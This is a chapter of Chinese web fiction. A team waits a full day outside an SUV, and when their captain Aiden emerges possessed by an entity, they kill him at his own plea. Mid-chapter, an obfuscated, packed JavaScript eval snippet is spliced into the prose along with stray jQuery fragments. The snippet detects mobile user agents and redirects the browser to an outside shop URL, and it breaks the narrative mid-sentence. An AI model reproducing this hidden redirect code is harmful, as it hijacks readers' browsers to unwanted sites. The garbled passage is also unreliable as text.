一个小时过去了。
艾登没有出来。
帕米尔站在那辆灰色SUV旁边,剑尖垂向地面,视线落在车窗上。玻璃反射着均匀的光线,看不到内部的情况。
两个小时过去了。
没有人说话。加布蹲在路边,匕首在手指间转了一圈又停住。赛琳坐在一辆车的引擎盖上,双手交叠放在膝盖上。莱恩站在稍远的位置,视线一直落在那辆SUV的车门上。
四个小时。
维克多的探测仪器屏幕上的读数没有变化。他重新校准了一次设备,再次读取了一遍数据,依然是一样的数值。
"这种状态说明他既没有通关,也没有失败或死亡。"维克多说,语气没有变化,但他的视线在说这句话时从屏幕上移开了。
六个小时。
没有人提议离开。帕米尔还站在那里,保持着和最开始相似的距离。天色开始变暗了——副本里的光源正在缓慢地减弱。
帕米尔在路边坐下来,把剑横放在膝盖上。那辆SUV的车门一直保持着闭合状态,看不出任何变化。
他低头看了一眼时间,把表盘合上,没有再打开。
距离艾登进入已经过去了整整一天。
他们一直站在路面上,没有离开过那辆SUV所在的区域。在第二十四小时过去的时候,莱恩打破了沉默。他的声音比平时蔫巴一些:"他进去的时候带了两天的水和干粮。"
维克多在后方补充了一句,语气平稳但比平时更慢:"如果只是被困住,他会在里面等。他选择这种策略的时候,通常会按照物资储备安排消耗节奏。目前的时间还在他预设的行动周期内。"
赛琳从引擎盖上下来,她没有看向车辆的方向,也没有再确认任何人的状态,而是走向了队伍的外侧,在一辆车的侧方站定,视野覆盖了更远的区域。加布把匕首收进鞘里,站直了身体。
"他选的那辆车,"加布平静地说,没有了平常的活泼,"可能是对的,但也可能他不是。"
帕米尔站起来,他走向最近的一辆未被检测的高能量车辆,手已经搭在了车门的把手上。
"如果他还在里面,我们需要在他出来之前把其他可能性排——"
他话音未落,身后传来一声响动。
车门开了。
那辆灰色SUV的驾驶座车门向外推开,没有卡顿,没有摇晃。车门边缘在开启的过程中保持了平稳的移动,没有与门框发生摩擦。
奇怪。帕米尔觉得有点不对劲。
艾登从车里走了出来。他的姿态和平时差不多——肩背挺直,步幅稳定——但他在跨出车门时没有抬头。
他的头发散开了,原本扎在脑后的小揪揪已经松开,棕红色的长发垂落在面前,遮住了大半张脸,只有下颌线和脖颈的一部分露在外面。
赛琳第一个迎了上去。她走了几步,在距离艾登大约三米时放慢了脚步。然后停了下来。
在她身后跑过去的莱恩,几乎是同时停下了脚步。
帕米尔站在原地没有动。
加布已经转过去了,匕首在鞘中弹出了半寸。他的表情在转身的那一瞬间发生了变化。
帕米尔闻到了一股气味——从队长那个方向传来的,很淡,像是…………腐烂的味道。
他不太想承认这个结论,再闻了一下,悲伤地确认了那个气味的来源。
艾登站在车门旁边,缓缓地伸了一个懒腰,肩膀和脊柱在伸展过程中发出一连串极轻的关节声响。
它的头发从脸上滑落,露出了整张脸。
露出了一双,不属于艾登的,全黑的眼睛。没有瞳孔,没有虹膜,整个眼球表面覆盖着一层均匀的深色。
它冲着他们愉快地笑了一下。
"你们真是有一个好队长。"
那个声色是队长的,但在场的所有人都能听出来,这绝不是队长发出的声音。
"他做了一个选择。在他的命和你们的命之间,他选了让你们活。我跟他签了契约——当然,当然,我会遵守的,我会放你们离开这个副本。"
它又神经质的嘻嘻笑了一声,那张属于艾登的脸变得十分狰狞。
队员们的脸都染上了愤怒之色。
"但是,"它的声音里带着一丝模糊的期待,包裹着毫不掩饰的恶意,"我也会跟着你们出去。出了副本,我就可以——"
"闭嘴。"帕米尔咬牙切齿地说。
那东西歪了一下头,露出了一个夸张的不解神情。
"怎么了?你不能——"
帕米尔已经冲上去了。
他的剑切向艾登的侧臂,目标是限制移动,不是击杀。
再确认艾登的意识已经完全消散之前,在场的所有人都下不了杀手。
那东西在接触前就已经侧身避开了,动作比艾登平时快,像是已经完全适应了这具身体的极限。
帕米尔在挥空的瞬间调整了重心,重新切入,连续三次攻击都被对方用侧身或小幅度的后撤避开了。
加布从侧翼切入,匕首划向那东西的腰侧,但他毕竟受了伤,动作慢了不少。那东西在匕首接近之前就改变了站位,加布的刀锋只切到了空气。
他在接触失败后立刻后退,重新调整了位置,没有在原地停留超过半秒。
赛琳在后方喊了一声:"控制它的动作!别让它有足够的空间调整姿态——"
帕米尔懂了。他的进攻变得密集而紧凑,每一剑都落在对方需要移动才能避开的路径上。
维克多投出了几个干扰道具,落在那东西脚边的位置上,爆发出短暂的闪光和遮蔽视野的烟雾。梅的子弹在那东西侧身的间隙中掠过它的躯干边缘,在它的外套上留下了一道平行的长条切口,未穿透皮肤。
那东西在躲避的过程中改变了动作的幅度——它的每一次闪避都比上一次更熟练,动作更加从容,与之对应的是它做出调整的时间在逐渐缩短。
它开始靠近帕米尔了。
帕米尔后退了半步。然后他看到了那东西表情的变化——它的眉头皱了一下,动作出现了一次短暂的停顿,好像被什么东西打断了。
"……杀……"
声音很小,但帕米尔听到了那个词。
那是从喉咙深处挤出来的。
不过很快,那东西重新控制住了身体,表情恢复了之前的弧度。
帕米尔没有停下。他继续进攻,但他在每一次攻击中都注视着对方的眼睛,祈祷着,祈祷着那双漂亮的绿眼睛再次出现——全黑的,边缘没有变化。
那东西的停顿开始变得更加频繁。它在躲避时偶尔会出现时间差过短的状况,身体内部正在持续发生某种交锋。
它的声音在某个瞬间突然变得完全不同——像艾登本人——只持续了一瞬,说出了一句清晰的话:"……杀了…我………命令!"
怪物再次夺回了控制权
吗?
帕米尔看到艾登的右手在身侧动了一下。他的手指握成了一个形状,按住了某个东西。他的外套袖口内侧有一个微小的凸起,正在持续地亮着。
那东西在重新夺回控制后也看到了它——它低头看了一眼自己的袖口,它的表情变了。
但它突然僵硬了。站在原地,无法移动。
帕米尔看到了艾登的表情。
是艾登自己的表情。
他露出了一个柔和的笑,像是在安抚眼前的孩子。
"快。"他说。
他的嘴唇在说出那个字之后就定住了。
帕米尔的剑已经动了。
加布从侧面同时切入,没有任何多余的动作。
子弹到达的时间比刀剑都更早——梅的枪声和弹头到达的时间是同时出现的,中间几乎没有任何可被感知的间隔。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822033|211163||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
子弹贯穿了眉心的位置,留下的弹孔边缘均匀,弹头的动能将头部的角度带向了一个稍微偏斜的方向。
与此同时,加布的匕首切入了颈侧,划破了皮肤和肌肉组织,完成了一道深度均匀的创口。
帕米尔的剑随后从正面贯穿,穿过心脏和脊椎之间的区域,从背部露出。
三个人几乎同时完成了攻击。
那具身体在动作过程中没有挣扎。它的重心在失去支撑后向前倾斜,帕米尔收剑后退,让那具身体向侧方倒下去。
它落在路面上,姿态接近平时休息时的姿势——膝盖微弯,一侧手臂搭在身侧。
全黑的眼睛消失了,瞳孔回到了原来的颜色。
漂亮的,如同湖泊般清透的翠绿色。
他的嘴角还带着点点笑意,残存的弧度在他的嘴唇上停留着,直到表情完全松弛。
在夕阳中,漆黑的雾气从队长的身体里升腾起来。
形状不稳定,持续变化着,像是一团想要成型但始终没能成型的轮廓。它发出了一种声音,像许多被压抑的声音混在一起,不是言语,只是持续的、不成调的音节组合。
它在空气里挣扎了片刻,然后散开了,从边缘开始,逐层变淡,最终彻底消散,留下微弱的残余气旋在空气中停滞了片刻后也彻底消失了。
帕米尔站在那具身体前面。剑锋上的血,正在沿着剑刃向剑尖的方向滑落。
他只是沉默着。
他能感觉到自己握着剑的手还在抖。握剑的右手看不出明显的晃动,但指尖有一道细密的震颤,从手指传到指节,沿着手背的轮廓持续了大约几秒,最后逐渐恢复了稳定。
地面上,漆黑的雾气已经完全散尽了。
在他周围,再也没有任何残余的痕迹残留下来,只余下风在路面上缓慢流动的声音。
赛琳最先动了。她走过来,蹲在那具身体旁边。她的手指按在颈侧的位置,确认了脉动,然后是确认呼吸,接着是瞳孔反应——都不存在。
她停留了两秒,在确认完所有数据后,把指尖从颈部移开,然后把艾登散落在脸上的头发轻轻拨到耳后,让那张脸完整地露了出来。
帕米尔站在原地,没有靠近。他低头看了一眼自己持剑的手——血迹正在从剑身上滑落,沿着刻槽向下流动。他收剑入鞘,在鞘口的位置顿了一下,扣环发出清脆的撞击声。
泪水从他的眼眶中滴落。
维克多站在较远的位置,他的视线落在地面上那具身体的轮廓上,又移开了。
莱恩蹲在几步之外,发出了隐隐的呜咽声。
加布把他的匕首擦拭干净后收回了刀鞘,然后他抬起手,用指关节压了一下自己的眉头。他的嘴唇动了一下,似乎是打算说些什么,但最终没有开口。
梅靠在车身上,她的枪口垂向地面,仍然保持着刚才的姿势。她的视线落在地面那具身体的轮廓上,又转向了远处的地平线。
死寂的副本中,不知从何处吹来了一阵风,揉乱了众人的头发。
帕米尔眨了眨眼,停住了自己的眼泪,只留下一点湿意。
"收队吧。"他听到自己的声音说。
没有人回答。但赛琳站了起来,维克多收起了探测仪,加布转身向前走了两步,停住了,没有回头。
帕米尔弯腰,把艾登的武器从地面上捡起来。枪托上还有一点温,他擦掉了表面的灰,握在手里。又轻轻背起艾登的身体,尽量不让他太过颠簸,跟在其他人后面,沿着来时的路往回走。
副本空间的光线正在缓慢地暗下去。路面上那些废弃车辆的轮廓在远处逐渐模糊,像一层正在合拢的帷幕正在从边缘开始收拢。
这场荒谬的闹剧终于谢幕了。
他们走出了那扇门,门在他们身后合拢。
他们往前走,带着一身伤痛与疲惫,带着永远长眠的人,没有回头。